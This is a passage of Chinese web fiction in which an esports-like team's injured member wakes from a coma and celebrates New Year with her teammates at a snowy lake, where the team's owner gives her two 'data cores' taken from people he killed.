傍晚七点的会议室没有开暖气,只开了灯,大家围在一起,开始第三轮域的复盘会议。 复盘会议本该等六位队员都齐了后才能开,但已经十二月了,工作人员知道第四轮域也许不久后就要开启,教练和训练官无法再将复盘会拖下去,这才在今日仓促召开了会议。 五个队员显然都不在状态。 章诎和屈孚宁低着头翻资料,邱任望没有像以前一样和教练互动,双手抱臂,将铭戴着帽子,眼睛没从笔记本上离开过,不过也没记什么。 晏逾明更不用说,他一向沉默,坐在最靠后的位置,一言不发。 气氛是低沉了些,但大家一开始还能听进去,直到台上训练官的话题转到了TRES的成员组成上。 训练官的声音有些吞吐。 “新的一轮域预估在明年年初开启,”训练官道,“按照规定,我们需要六位队员进入域才合规。” “所以…”训练官开口,“要开始物色新人了,我们已经筛选了一批备选队员的数据…” 话没说完,“啪”得一声,邱任望站了起来。椅子后倒,摔在地上。 他毫不犹豫地转身,摔门离开,会议室的后门门板猛烈震动,发出“砰”得巨响。 汇报的训练官停住话,尴尬地站在讲台上。 其他队员站起身,没摔门,但是眼神和脸色不乏疲倦,接连离开了会议室。 训练官低下了头,一向能缓和气氛的老钱欲言又止,什么话都说不出来,看着队员一个个都离开了。 会议室内,只剩下晏逾明还坐在后排,面色淡漠地看着投影光屏,光屏上,显示的是那瓶精神控制类的药物。 他冷漠地盯着,也不知道在想些什么。 老钱看了看窗外,又看向周围站着的训练官,抬起双手挠了挠后颈,叹了一口气。 他也不知道该怎么办了。 他望向了晏逾明:“ Yu…你怎么看?”喊得是Yu ,问的其实是TRES的真正拥有人。 晏逾明抬眼:“你要招新人?” 老钱点头,又叹了口气:“拖不了了,我们也不想…可、根本拖不下去了…” 晏逾明:“你准备招谁?” 老钱:“已经把备选队员的数据都分析出来了,从里面挑最优秀的S级,然后…” 晏逾明只是盯着他:“你觉得,还有人,能像她一样么?” 从一千个人里挑、从一万个人里挑、从所有S级里挑,还能挑出另一个温知初么? 教练和训练官都噤声了。 答案是既定的。 从温知初出现在众人视线后,实力随着域的轮次而逐渐展露,大家都该知道,温知初是不可替代的。 没人知道温知初是如何忍耐那些疼痛的,更没人知道,到底该如何找出、训练出另一个温知初。 用世界上最先进的仪器去分析,得出的结果只有一个,不可寻觅、不可替代。 老钱心里也知道,用最难听的、最商人思维的话来说,六个人里,哪怕是Yu这样的存在,只要时间够,都能复刻出一个,但是温知初不可能。 他望向晏逾明,最终垂下了眼,没再说什么。 窗外,下雪了。 ICU的窗外,也被深夜的雪映照着,雾气爬满了窗户。 晦暗的光线下,温知初睁开了双眼。 深黑的双眼涣散而无神地睁开,显然还没反应过来自己身在何处,她坐起身,在仪器的滴滴声中,缓慢地把身上的管子拽开,踉跄地下了床。 房间里都是消毒水的味道,很闷,她本能地拉开窗帘,打开了窗户。 冬日的风和雪灌入窗内,凌冽的气息让温知初混沌的脑海清醒了些。 下…雪了… 进入域时还是盛夏,现在,下着不小的雪,已然是冬日。 温知初望着窗外,手撑在窗台上,呼吸逐渐平稳,眼神也渐渐变得聚焦。 四个月左右了。 比预计昏迷得要久。 身体尚且有些乏力,温知初想沿着墙坐下,刚想屈身,后背一沉,一只手撑住了她。 “别坐地上。”那人道。 熟悉的声音,晏逾明。 温知初有些愣愣地抬眼。 晏逾明垂眼望着她,眉目间有罕见的倦意,还有…还有一些温知初看不懂的情绪。 他似乎变了一些。 她看着Yu ,有些恍如隔世。 晏逾明站在她身后,不知道来了多久,他伸长手,把窗户关小了些。 “不冷么?”他看着她。 风和雪从缝隙间飘进来。 第74章 “醒过来了?”老钱接完电话后,嘴略微张着。 电话挂完后,他立马跑了出去。 几个训练官互相对视,也跟着跑了出去。 医护人员是最惊讶的,治疗了这么久,这个队员一直没醒来,他们以为没希望了。 钱教练反复和他们一起确认温知初的生命体征, 确认了好几遍, 确实是恢复正常了。 非常突然。 突然到显得他们这群被并过来的医疗部显得很无用。 对于TRES整体而言,队员的醒来意味着一项极其重要的资源最终没有被损耗,项目的风险缩减。 从人情意义上而言,大家对队员的醒来都很惊喜。一起历经生死这么多次,谁也不想队友离开,还是这么重要的队友。 温知初从医疗部的ICU回到了自己的卧室,不过因为刚醒来,教练不让太多人探视。 队员简单的探视过后,就被医生劝出去了:“还是得好好休息。” “需要观察到31号,看各项数值是否还稳固。” 卧室的门被关上,些许嘈杂声被隔绝在外。 作为话题的中心,温知初本人倒是觉得自己没什么大碍了,她了解自己的身体。 她已经恢复好了。 已然沉睡了太久,以至于今晚完全没有睡意。 墙上的钟已经走到了凌晨两点。 穿着睡裙的温知初打开卧室的侧排灯,坐到落地窗旁的藤椅上,拉开一半窗帘,能看到外面的雪已经停了,一楼的玻璃房还亮着灯,里面的花在温室内依旧开得很好。 一楼空地上有做成篝火状的投影,发出轻微的劈里啪啦声。 房间内的暖气开着,实在太闷了,温知初给窗户打开了一个缝隙。 安静的氛围下, 034号小心翼翼地问: [宿主,你还好么? ] 它问: [你现在什么感觉? ] 温知初:“饿。” 034号:[……] 确实很饿。 市议长的数据核还没来得及挖,她就离开域了。她已经很久没有吃过S级的数据核了。 其实还有些B级C级的数据核在背包里,但是自从吃过S级的数据核后,这些之前收集的数据核实在难以入口。 吃了后,也许会更饿。 034号转移话题:[宿主,一个好消息,你升级了。 ] 它道:[从C-26直接升级到A-35了。 ] 令人叹为观止的升级速度,以及让人看不懂的升级体系。 这次034号也随着宿主升级了,成了A级系统,可就算如此跨级地提升,它的数据库依旧分析不出温知初的来历以及她和他人不同的升级体系。 宿主的实力根本没变,从E级开始,她的实力一直都是这样,并不是因为升级而变强,而是随着域的难度提升,展露出更多的实力。 所以升级到底升到哪里去了? 034号对于宿主的认知还和之前一样。 宿主加入TRES的原因之一,是靠近晏逾明,因为只有靠近男主,从男主身上汲取剧情所归束的能量,她的体质等级才能以此为触发,在通过SS赛后升级,要不然,无论宿主锻炼、厮杀多少,都会永远停留在E级。 但是如果太靠近男主,让男主产生了亲密的感情连接,无论是友情亦或是其他深度的感情,都会一定程度上地对男主造成负面影响。 是这种意义上的此消彼长。 从某种程度上来看,宿主就像是书中的大反派,而反派和主角之间,往往只能存活一个,是从立书起便相互抵触的、此消彼长的存在。 它的老东家剧情显然对这两个人有天然的约束,只要剧情存在一天,他们之间天然就是相对的、相反的,此消彼长的。 不过034号依旧不明白太多事。 譬如宿主是如何察觉出此消彼长这个规则和剧情的存在的,譬如就算是男主的生平,它都能尽数搜索出来,为什么宿主不行,她到底是什么身份? 再譬如男主的男主的重生,剧情的崩盘,到底是不是和宿主有关?当初宿主是故意推男主入深渊的么? 以及, 034号依旧保持原来的观点,觉得宿主要么不是人类,要么就是在极其特殊环境下成长的人。 所以情感和认知有异于常人,才如此难探知她的想法。 唯一比较明显的情绪外露就是对于Yu。 数据库分析确定后,宿主对于Yu ,确实是一种不同于友情、队友情的情绪,带着不知从哪里来的长久凝视之情,是某种特殊的羁绊。 宿主觉得她和男主之间很相似。 就像照镜子一样。 034号分析了一大通,宿主始终侧身望着窗外,背影沉默而宁静。 这是一个没有任何困意的夜晚。 · 睡不着的不只温知初,一楼的庭院空地上,章诎和将铭并肩站着,在树下已经聊了好一会儿天,手中的啤酒快喝空了。 除了聚会的时候两人其实都很少喝酒,这次因为温知初的醒来,不约而同都来外面透风,喝了点酒。 心里一直堵着的那口郁闷终于可以松了。 “幸好醒过来了。”作为主Tactic ,章诎这次真的很愧疚,“要不然我真的不知道该拿什么赔。” 将铭喝了口酒:“该说这句话该是我。” 他道:“当时我就坐在副驾驶。” 说是润喉糖,他竟然就这么信了。 “小温她,”章诎眯起了狐狸眼,“太沉稳了。” 沉稳到以至于成为一个被他们过度依靠的存在,忘了她还是个十七岁的少年、少女。 以至于他们完全没有察觉到她的疼痛和异常。 “是啊,太沉稳了。”将铭道,“刚才邱任望去看她,反而是她安安静静地去安慰没控制住情绪的邱任望。” 沉稳是一件好事。 但是在这个年纪这么沉稳似乎并不是一件很好的事,这意味着这个人经历了很多,而且大概率是经历很多不好的事,这才敛了这个年龄该有的少年心性。 将铭:“我十七岁的时候…” 他欲言又止。 风吹着树,话头转了。 章诎:“你看到小温的生命体征了么?” 将铭:“教练和医疗部确认过了,所有数值都恢复正常的。” 章诎道:“是突然恢复正常的。” 突然恢复正常…和她能闷声忍受这么长时间的疼痛一样异常。 第三轮域带来的一切,足以让他们对温知初的身份产生了疑惑。 章诎:“前几天教练再次去查小温的背景了。” “怎么说?”将铭问。 章诎道:“和之前一样,就是在A市平凡着生活着、做着兼职的E级。” 将铭轻微摇了摇头。 “你知道么,”章诎道,“邱任望跟我说,他第二轮域的时候,朦朦胧胧听到过小温和他劝慰,这些药不算什么,一切终究会结束的。” 他道:“当时邱任望以为自己听到的是幻觉带来的。” 毕竟小温和他们一样是第一次进入SS域,第一次见到这种药物… 现在,邱任望开始怀疑当时听到的并不是幻觉。 是她告诉他。 “这种药会导致严重的致幻和疼痛…你现在不是你…你现在经受的痛苦都是幻觉给你带来的,所看的、所感觉都是假的,一切都会结束的。” 这是原话。 “可是她怎么会知道?”将铭怅惘地开口。 温知初是如何知晓这种疼到让人呼吸不上来的药到底是什么。 谈话的内容让庭院的氛围变得略显凝重,两人都沉默了会儿。 有对小温身份的探知,也有对身份背后也许十分沉重的经历的心疼。 如此沉稳,对疼痛又如此习惯。 章诎叹了口气:“这孩子以前到底过得什么生活啊…” 邱任望抬起头,望向了三楼的方向,窗户的缝隙内透着些微的亮光:“她愿意的时候会说的。” 章诎也跟着抬起头,望向夜色:“明天…今天就是31号了。” 是啊,明天就是新年了。 起码大家还活着。 将铭又喝了口酒:“今天下午我们去C市。” 章诎:“去跨年?” 将铭:“嗯,房子已经被老大安排好了,大家都去。” “也好,”章诎道,“人多热闹。” 已经快凌晨四点了,两人站得久了,肩头都湿了。 将铭:“最近总看不到Yu哥。” 章诎:“之前忙着并购的事吧。” 不过出乎意料的是,温知初醒来的时候,第一时间赶到的不是医疗人员,不是训练官,也不是教练。 竟然是Yu。 章诎笑道:“也许是我之前感觉错了。” 从前,他隐隐约约觉得Yu对温知初怀揣敌意来着。 · 从三楼落地窗的视角,能看到一楼的投影篝火伴随着时间的流逝变幻着形状。 温知初坐在窗旁,翻看终端里的新训练日程。 034号观测着宿主的各项数据,确保她是真的恢复了。 它开口: [宿主,你现在什么感觉? ] 温知初抬眼:“更饿了。” 034号:[……] 确实已经饿到有些受不了了。 温知初站起身,走到柜子处,屈身,拿出一个熔杯,把背包里的那些数据核也拿了出来。 一把晶亮的数据核被灌入了电熔杯里。 电熔杯的罩子阖上,里面的数据核在高温下快速地被融化,澄澈的气泡挣扎着,最后被液体裹着流淌而下。 大概几分钟后,所有的数据核融化成了液体。 静置片刻,倒入了玻璃杯中。 034号:[颜色真的很像草莓牛奶欸。 ] 不过要红很多,又很像血。 它猜想,这些B、C级的数据核肯定很难吃,要不然宿主不可能连吞食的过程都想省了,直接做成一杯热饮。 温知初重新坐回了落地窗旁,看着那份训练资料,数据核喝得很慢。 034号盯着血一般的热饮看。 [宿主,]它道,[其实我还有一件事想不明白。 ] 有关男主的事。 温知初依旧看着那份训练资料,没有分神应声。 034号:[就是,宿主你昏迷过去的时候,男主有尝试过救你。 ] 被并入TRES的新基地和医疗部就是证据。 它不明白。 按照男主的角度,直接放任宿主死去不就好了么? 为什么要让宿主醒来? 总不可能仪式感强到必须让宿主在3月4号那个日子死吧……? 034号自言自语了很久,发现完全没有回应。 034号: [宿主,你怎么想? ] 温知初没有抬眼:“什么?” 她抬起杯子,喝了一口,沉默地抿了抿唇,能看出来这杯热饮很难入口。 034号:[就是有关男主的事啊。 ]你的偶像。 温知初:“你知道他的等级是多少么?” 034号:[根据数据库调查,应该在三年前就是满级的S-99了。 ] 温知初垂着眼,像是想起了什么,略微提起唇角:“那他的数据核一定很好吃。” 034号:[……] 第75章 B 、 C级的数据核果然已然无法对A级的等级产生任何的帮助。 哪怕喝完满满一杯, 饥饿感也无法消弭。 到了下午,众人分批从基地出发前往C市的时候,饥饿感依旧伴随着温知初,让她全无倦意。 医疗部确认完她身体无异常后, 教练领她上了最后一辆越野车。 车开往C市和B市的边界。 其他车都挤满了队员, 这辆车只有开车的教练和温知初。 出于礼貌, 温知初打开了副驾驶座的门。 “不用。”老钱摆摆手, “小温你坐后面就行。” 宽敞,比较好休息。 温知初颔首,坐到后排去了。 老钱抬高了后视镜:“小温?身体怎么样?” 温知初:“正常。” 老钱:“你休息吧,多休息会儿,路况我一个人盯着就行。” 温知初略微点头。 车程大概三个小时。 教练可能考虑到温知初要静养,全程都没怎么说话。 温知初完全没有困意,她透过窗户的缝隙往外看, 难得出来,看看外面的风景。 树影不断倒退着。 老钱:“我们去的地方是老板的买的度假地皮。” 他笑道:“那里在下大雪,有湖,可以钓鱼,跨年很有气氛。第四轮域可能不久后就要开启了,没太多休息时间留给我们,量上追求不了,质上面还是可以争一争的。” 口中的老板, 除了晏逾明没其他人了。 有的时候, 老钱很难把队员Yu和老板晏逾明合在一起看。 大概黄昏的时候, 越野车抵达了这片度假的土地。 老钱不由惊叹:“雪下得好大,快看不清路了。” 温知初往窗外看,雪花从天而降, 苍苍茫茫,远处的山脊线被云雾压得低沉。 雪似乎有让时间变慢的魔法。 越野车在厚雪中缓慢碾出一道道深深的车辙。 车子停在了湖边。 温知初打开车门。 冷风夹雪往脖颈里钻,不远处的湖泊结了冰,岸边几只厚毛的鸭子朝越野车这里看。 帐篷早就搭好了,顶上压着一层雪,装饰灯打开了,黄澄澄的光晕像暖炉那样落在雪地上。 火堆也已经生好了,温知初看到几道熟悉的身影在围着在做烤肉。 温知初往外走的时候,邱任望跑过来了。 “小温!”邱任望走在前面,“不冷么?” 温知初摇头:“不冷。” 她穿了个黑色的羽绒服,里面其实就一个短袖,图省事,反正帐篷里有暖气。 确实不冷。 邱任望拉开帐篷帘子,两人走进来。 帐篷里铺着厚实的羊毛毯子和防潮垫,暖气吹得帘子周围出现了细密的水珠,一道一道地往下流。 屈孚宁从外面端了一盘烤肉进来,坐到温知初旁边:“来点儿?” “谢谢。”温知初略微摇头,“不饿。” 邱任望抬头:“什么时候吃晚饭?” 屈孚宁:“晚饭还早,大概晚上八点?还有三个小时。” 他道:“饿的话外面在烤肉。” 跨年的正式晚饭吃晚点,一直吃到跨年的时候,会比较有仪式感。 邱任望走出去,也端了盘烤肉进来了。 他走到温知初旁边:“这个给你。” 温知初抬眼。 一瓶温热的草莓牛奶。 邱任望道:“Yu哥让我来了给你的,一直放在保暖箱里。” 温知初的眼睫定了定,接过牛奶玻璃瓶。 其他两个人吃着烤肉,温知初温吞而缓慢地把牛奶喝完了。 身体暖和了很多。 温知初放下玻璃瓶:“其他人呢?” 邱任望透过帘子的缝隙往外看:“都在外面呢,Yu哥…Yu哥不在外面…” 他放下帘子:“可能出去透气了吧。” 他开玩笑道:“毕竟这是他的地,难得过来,多看看。” 还有三个小时才吃饭,干坐着也无聊,邱任望把电视光屏打开了。 他朝温知初望:“一起看个什么电影?” 温知初抬眼:“有《小朋友都爱的宝镜》么?” 邱任望:“……” 他还真仔细看了看片库,没看到那三头猪的封面,松了口气,转过头来说:“没有,一起看点其他的?” 温知初略微摇头。 太闷了,她想出去走走。 暖气吹得她双颊泛红。 她站起身:“有渔具么?” 邱任望惊讶道:“你要去钓鱼?” “嗯。”她道,“出去走走。” 邱任望:“有,就在另一个帐篷放着。” 他对着温知初掀开帘子的背影喊道:“记得带上毯子和围巾。” 帘子外传来低声的“好”。 温知初背起渔具,独自朝湖边走,脚踩在厚雪里发出沉闷的“咯吱”声。 大概走了十几分钟,找到了一个比较安静而视野好的位置。 就这么点时间,渔具包外已经积了一层雪。 解开扣带,拿出一组冰钓杆、备用线组、几小盒诱饵,一把短小的冰铲,还有两只装着蚯蚓和小虾的塑料盒。 温知初环顾四周,最终又换了个几十步之外的位置。 这里风比较小。 她蹲下身,摘下手套刨冰,磕碰声中,碎冰往外溅的声音显得很清晰。 凿着,直到露出水面,水静得出奇,好似永不流动,和034号心中的宿主一般。 034号:[宿主,你还会钓鱼? ] 温知初:“不会。” 温知初:“随便钓着。” 主要还是出来透透气。 把折椅摆好,羊毛毯铺在上面,再把钓竿提起来,绑了个飘球,装好诱饵、穿好钩,把线放下去,眼神沉入那黑洞一般的冰孔里。 风大了些,温知初把围巾围上,却没戴手套,手背被冻得发红。 冰钓太过安静,线一沉入水,时间仿若被按下暂停键,温知初默不作声着,也不动,呼吸平稳而缓慢,四周只剩下风的声音,以及信号球轻微的颤动声。 就如同温知初这个人一样,在冰层之间,专注、安静。 雪还在下,落在她的帽檐、肩膀上。 冰湖畔,只有温知初一个人坐着,像逐渐结冰的冰层,与湖、雪、风共同陷入这片宁静。 其实钓不钓到鱼一点都不重要。 间或换几次饵料,忽视偶尔用力颤动的浮球,就这么沉静着。 雪下得更细了。 温知初依旧坐着,期间换了几次方向。 湖面空旷得就像世间只剩下她一个人,天色不知什么时候已经完全暗下,远处有了火光。 直到后背落下一记极轻的敲击。 不是风的力道,是指节。 温知初轻轻一动,没回头,那人也没有说话,只站在她身后,又轻拍她的胳膊。 “回去了。”熟悉的声音。 温知初顿了一下:“嗯…好。” 晏逾明俯身,帮她一起收拾渔具。温知初收竿,拔线,折凳子,动作快而平稳。 两人往回走,沿着来时 的脚印。 两道身影被拉长在月色下,风不小,林间雪沙沙地响。 晏逾明:“钓到鱼了么?” “钓到了。”她道,“放走了。” 温知初抬眼,注意到晏逾明穿得很少,只是单薄的外套,还是TRES的训练服。 大概是从帐篷里直接出来找她的。 温知初顿了顿,放慢脚步。晏逾明也跟着放慢脚步,垂眼:“怎么了?” 她没说话,把厚重的围巾从脖子上取下来。 “我很热…”她的视线略微移,“…你要围巾么?” 晏逾明垂眼望着她,眼中有不明显的笑意,像是要说什么,但最终没开口,他接过了围巾。 “谢谢。” · 走了二十几分钟,渔具包里的饵料都冻住了,两人走回了帐篷。 雪正好又大了些。 帐篷外的篝火被风吹得“噼里啪啦”直响,是真的篝火,不是基地里的投影篝火,散发着热气,一群人围坐在。 “小温, Yu ,回来了。”章诎迎上来,接过了温知初的渔具包,“钓到鱼了?” 温知初嘴角勾出淡笑:“钓到了,不过都是小鱼,放回去了。” 温知初坐到篝火旁,刚坐下,还没来得及做什么,旁边教练从帐篷里抱了一堆东西,递到她跟前。 “给你的。”老钱笑着,“晚饭之前,大家给你准备了些礼物。” 他道:“跨年礼物。” 温知初略微怔愣,她站起身:“谢…谢。” 各色的礼物躺在篮子里。 老钱拍了拍温知初的肩:“第三轮域你受苦了,但好在赶上了跨年,这算是大家给你的一些心意。” 他道:“以后一定要健健康康的,不要再吓我们了。” 大家坐在一起,队友们一个个地介绍他们送的什么礼物。 晏逾明远远地坐着,望着温知初。 他的礼物似乎没在篮子里。 温知初再次道谢:“抱歉,我不知道有这个环节,没有给大家准备礼物。” 其他人赶紧摇手:“怎么可能要你准备。” 话是这么说,无论出于礼貌还是人情,温知初都不可能不回礼,等晚饭的间隙,她打开终端,搜索起哪些礼物比较适合当回礼。 烤架上的香气“滋滋”往外冒,老钱道:“大家准备准备,吃晚饭。” 温知初垂眼,依旧搜索着礼物。 风小了些,晚饭的遮风棚架起来了。 有人从她身后走近,外套领子都没扣上,围着温知初之前给他的围巾。 他走过来。 温知初抬眼,还没反应过来,手中便被递过了一个小盒子。 外包装有些别扭,像是系了又拆、拆了又重系,最后干脆直接缠了三层,封得很紧。 “礼物。”晏逾明看着她。 温知初黑白分明的双眼定了定,嘴角提起不明显的笑:“谢谢。” 不远处老钱喊着吃饭。 “去吃饭吧。”他道。 “礼物吃完晚饭后再拆。”晏逾明望着她,“你一个人的时候。” 第76章 都来度假地了, 跨年餐肯定要在雪景里吃。 大家把桌子搬到了篝火旁,架好防雪的棚顶,暖灯挂着,映照得每个人的鼻尖和脸颊都红扑扑的。 烤肉的香气腾腾地升起, 和热汤一起往外飘雾气。 摆在最中央的铁锅煮着清汤火锅,锅底是浓鸡汤打底,漂着切好的牛肉片、羊肉卷、玉米段和胡萝卜,最上面盖着大片的娃娃菜和金针菇。 老钱站起身,给大家舀汤。 将铭把酱料分给大家。 吃了一会儿,温知初站起来,走到烤架旁,望向将铭:“你去吃吧,我帮你烤。” 烤架上有提前腌好的牛肉块、羊排,还有厚切的培根和香肠。 将铭:“不饿?” 温知初:“嗯。” 其实饿。 只不过吃这些吃不饱。 她用锡纸把土豆和红薯包好了,放到篝火边,看着火发了会儿呆。 将铭不让她干活儿,一会儿的功夫把她找回去了,喊她回去吃饺子。 大家吃得很慢, 主要是在聊天。 吃了能有两三个小时,从八点开始吃,不知不觉慢慢吃到了十一点多, 没人再吃得下东西了, 开始喝点儿东西, 继续聊天。 喝东西分两派,一派拿着姜茶和热可可,另一派热红酒和白兰地。 不少人走出了棚子,直接在篝火旁喝酒, 大家围在一起。 温知初端着杯牛奶,坐在队友间。 看着篝火,似乎确实容易放空。 大家聊着聊着,聊到了她身上。 坐在身旁的邱任望:“小温,过了今天,就成年了。” 温知初依旧望着火:“嗯。”火苗在蹿。 将铭接过话:“不算成年了,不能拿虚岁算,生日还有三个月。” 邱任望笑了笑:“希望第四轮出来,能赶上小温的生日。” 其他人跟着也笑了笑。 其实这句话挺黑色幽默的,毕竟有百分之五十的概率,他们可能会走不出来域。 就算走出来,也有可能醒不来。 老钱想趁着这个气氛谈谈域里的事,被邱任望打住了。 邱任望:“老钱,跨年的气氛好好的,别聊公事,忍住。” 老钱笑着:“行行行。” 不谈公事,大家聊起往事。 火堆哔剥作响,雪落在火光照不到的地方,寂静得像另一种呼吸。 邱任望:“我以前是在海边长大的。” 他道:“我是说来<深渊>前。” 他回忆着,像是想起什么,笑了下:“小时候经常跑去市场赊账吃冰,每次回去都一顿打,但是打完了又会给烤鱿鱼吃。属于打一棒子给个甜枣。” 邱任望:“我以前在学校读书的时候其实成绩不是很好,因为我有阅读障碍,还有ADHD,我不是不能学,但是不想学,经常逃课,我的父母一直觉得我不适合学习,不过也没断我的学费。” 他们说,高中读完的话实在不想学的话,就托人找关系,让他出海,在海上当当街溜子就行了。 两个人谁都不知道自家的儿子其实智商这么高,还以为他平常的过目不忘只是误打误撞。 可惜他们永远无法得知了。 数据化乱流中,两人都死了,阴阳两隔,父母死在了<深渊>外,儿子陷入<深渊>内。 邱任望笑着:“小时候的那些鱿鱼我都是边吃边哭的,一边觉得好吃一边又觉得凭什么要挨打,特别傻。” 老钱跟着笑:“我就知道你小子从小就皮。” 通过谈话,似乎知道了队友的不少另一面,准确的说,是有别于<深渊>的那一面。 温知初认真听着。 有人回忆第一次摸枪时手在抖,还装作自己很稳。 很难想象说话的人竟然是将铭。 章诎笑着说时候不懂事,总觉得世界太大,家太小,总想着出去、想离开,现在才知道,小时候老家那点小小的街角,其实是此生最安全的地方。 可惜大家再也回不去了。 没有家了。 屈孚宁说他不喜和人交流是天生的,不是因为经历了什么事,他从小就喜欢一个人待着,父母很开明地不会强迫他出去社交,严重的时候会单独给他留饭,他喜欢在房间里一个人用餐。 后来想想,以后再也没有机会和他们一起吃饭了。 老钱说自己大学的时候,被一封匿名的情书给骗哭了,找了很久都没找到是谁写给他的,直到毕业好几年,才知道是隔壁宿舍的恶作剧。 往事听起来有趣,其实夹杂了许多苦涩,但都过去了,过去了太长时间,以至于大家都能笑着说出口。 晏逾明一直没说话,他拉了拉自己的围巾,望向了篝火对面的温知初。 温知初默不作声,用脚踩着篝火旁积起的雪,听得很认真。 邱任望把肩搭在温知初身后的椅子上:“你也说些呗。” 她抬眼,轻轻地笑了下:“我的童年很无聊的。” 所有人都望向她,显然对她的过往很好奇。 老钱道:“说说呗。” 温知初:“很早的时候父母就去世了,进入<深渊>后,我一直在A市的一个小镇生活,长大了些,就在周边兼职。” 说得和TRES调查到的资料一模一样。 但肯定不是真的,起码不是全部都是真的。 没有哪个普通环境,能养育出温知初这样的存在。 不过其他人没有再追问,这不是个探讨真相的好时候。 话题很快转到了其他人身上。 雪还在下,落在他们肩上、围巾上、发梢上。 温知初把手塞进口袋,摸到了Yu给她的礼物,百无聊赖地摸着包扎在表面的尼龙绳,修长的手指嵌入了绳子内,摩挲着。 “还有两分钟就要到明年了!”老钱站起来,声音很激动,“大家准备下,跨年的时候,记得要拥抱周围最近的人啊!” 温知初躬身,把身后的烟花棒往旁边传,有人去开香槟去了,雪似乎也察觉出了不同寻常的气氛,下得更大了,几乎要遮盖大家的视线。 邱任望有些醉了,在章诎身边跳舞,章诎眯着个狐狸眼看邱任望闹,嫌弃地往旁边站。 还有一分钟的时候,所有人都站了起来。 温知初也站了起来,屈孚宁给她递了一个瓷杯,里面是他没动过的那份热牛奶。 “等会儿要一起举着。”他举着自己的啤酒杯,“要不然不完整。” 他们围在一圈,杯子举在空中,火光、雪光、灯光交错映在每个人眼中。 邱任望叫着:“雪好大啊——” 温知初轻笑着,看邱任望张大了嘴,雪往嘴里灌。 “十九——” “十八——” “十七——” 老钱蹲在烟花箱旁边了,随时准备点火。 “三——” “二——” “一——” 时间归零的那一刻,温知初的肩头被轻轻撞了一下,转头,是晏逾明。 其他人大喊:“新年快乐——!” 温知初还没反应过来,被弯腰的晏逾明给拥入了怀中。 安静的拥抱,温度从对方臂弯穿过厚衣服传到她的跟前。 大雪中,烟花亮着,众人拥抱着就近的朋友,不仅是朋友,也是家人。 “新年快乐。”晏逾明低声说。 温知初愣了愣,轻轻地回抱了一下。 “新年快乐。”她道。 短暂的拥抱后,彼此分开,所有的队员和教练围聚在一起,抱成了一个大圆。 “新年快乐!!!”大家的欢呼声响在大雪里。 “3047年了!” “终于是新年了!” 老钱笑着:“说说新年愿望了!” “新的一年TRES蒸蒸日上!” “希望发大财!” “希望第四轮域也能顺顺利利。” “希望早日逃出<深渊>!” “希望彻底离开这个鬼地方!永远不要回来啦!” 邱任望是彻底醉了,他也不说话,光嚎叫,跟狼人遇到了满月似的。 杯子碰杯子的声音响成一片,烟花在夜空炸着,照亮每一张脸。 雪还在下。 他们站在雪地中央,围成圈,彼此靠近,像一团在人世风雪中聚拢的火。 晏逾明望向温知初:“你还没说新年愿望。” 其他人也看向她:“小温,什么愿望?” 是新年愿望,也是成年愿望。 温知初嘴角勾出淡淡的笑:“希望新的一年。” 她道:“大家不要再受伤了。” · 跨年已经过去,烟花也放完了,雪还在不停地下。 大家还意犹未尽,没人回去休息,大部分人都围在外面喝酒,邱任望彻底醉了,在那儿嚎叫着唱歌。 章诎拿着个相机,对准邱任望在拍,一边拍一边皱眉。 将铭喝醉的表现最奇怪,不上脸,很难看出来他醉了,但面无表情地开始讲冷笑话,一个笑话比一个笑话冷。 温知初留了会儿,往外走。 在雪夜里走出一段距离,沿着湖边慢慢地走着。 原地站定,往外吐的呼吸声成了白气。 这片雪地静得出奇,天地交界处模糊了边线,四下只有雪落的声音。 她站着,望着远方,独处的安静让人安宁。 不知道站了多久,她抬起手,拂走肩上的雪。 从外套里,她拿出那份一直没拆开的礼物。 包装纸上落了雪,蹭去后,温知初解开系得过于牢固的结,一层一层拆开,露出里面一个小巧的布袋。 袋子打开,里面静静地躺着两颗… [数据核! ]034号尖叫道。 特别剔透干净的数据核,纯度高到一眼就看出是S级的数据核。 温知初的指腹顿了顿,缓慢地摩梭两块数据核。 身后的雪地传来脚步声,沉而缓。 是送礼物的那人。 温知初回头看了一眼,晏逾明没说话,只将手插在羽绒服口袋里,在她身旁站定,看向她手中的数据核:“喜欢么?” 温知初:“嗯。” 她道:“谢谢。” 突然很安静,两人谁也没说话。 也许越是有太多话要说、要问,便越是说不出话来,两道身影之间的距离,不远,但也不近。 晏逾明:“数据核对你而言…” 他转向温知初:“应该不只是欣赏的作用吧?” 试探。 温知初站着,神情没有变化,手还在外套里,答非所问:“能问问这些数据核你是怎么…找到的么?” 另一种试探。 身侧传来低笑:“你真的不知道么?” 数据核还能怎么得来,无非是杀人,把数据核掏出来。 一整本《深渊》,他那么多仇人,可杀的人太多了。 “别墅一楼那里放了一个日历,纸质日历。”晏逾明看着她,“如果你好奇这两个数据核具体是谁的话,可以去看看那份日历。” 昨天的日子里,划上了两道黑线。 温知初当然知道怎么来的,正如晏逾明知道她要数据核不可能只为了欣赏。 晏逾明:“所以你用来干什么?” 温知初压低了声音,把他跟她说过的话返了回去:“你应该知道。” 又一声低笑。 他问:“数据核好吃么?” “还行。”温知初垂着眼。 其实这很好猜,温知初对于普通的食物的食欲太少了。 雪越下越大。 晏逾明:“大概什么味道?” 温知初:“很淡的味道,纯度过低的话会像蜡油,纯度高些,会接近果子。” 两人就像在说着特别寻常的家常。 晏逾明:“吃了后会对等级提升有帮助?” 温知初:“一定程度上。” “你升级的体系是不是和我们不一样?”他问。 这次温知初没有立刻回答。 “也许。”她道。 又沉默起来了。 雪中,彼此的呼吸声都被遮盖了。 “身体好些了么?”他问。 温知初:“完全没问题了。” “在域里,”他道,“我和你说过,出来后,我们聊聊。” 她接过话:“聊什么?” 晏逾明:“聊你可能会回避的问题。” 他们像两枚错落在湖边的石头,站得不算远,中间却隔着难以言明的、看不见的雪和风。 温知初顿了顿:“你可以问。” “现在算了,”他道,“可能不是一些愉快的话题,等回去了再说。” 晏逾明垂眼,望向温知初:“不饿么” 温知初抬眼:“有些。” “那…”他盯着她,“不吃数据核么?” 他问:“我挺好奇的,能看着你吃么?” 刻意压低的声音有些冒犯。 其实进食是一件十分私密的事,尤其对于温知初而言。 她的耳尖有泛红,不知是不是被风吹的。 “这可不是什么文雅的画面。”神情却依旧平静,语气很缓,像拂着枝梢雪的风。 温知初有一双深情的眼,黑白分明,无论看什么事物时都很深情。 这双黑白分明的眼看着晏逾明,就好像无论他提出什么要求,她都会应允一般。 她抬眼,淡淡地笑了声:“如果你确定想看的话。” 第77章 最终这场冒犯没有进行。 两人低声聊了会儿, 不久便散了。 晏逾明先回去了,温知初一直没回营地,之前昏睡太久, 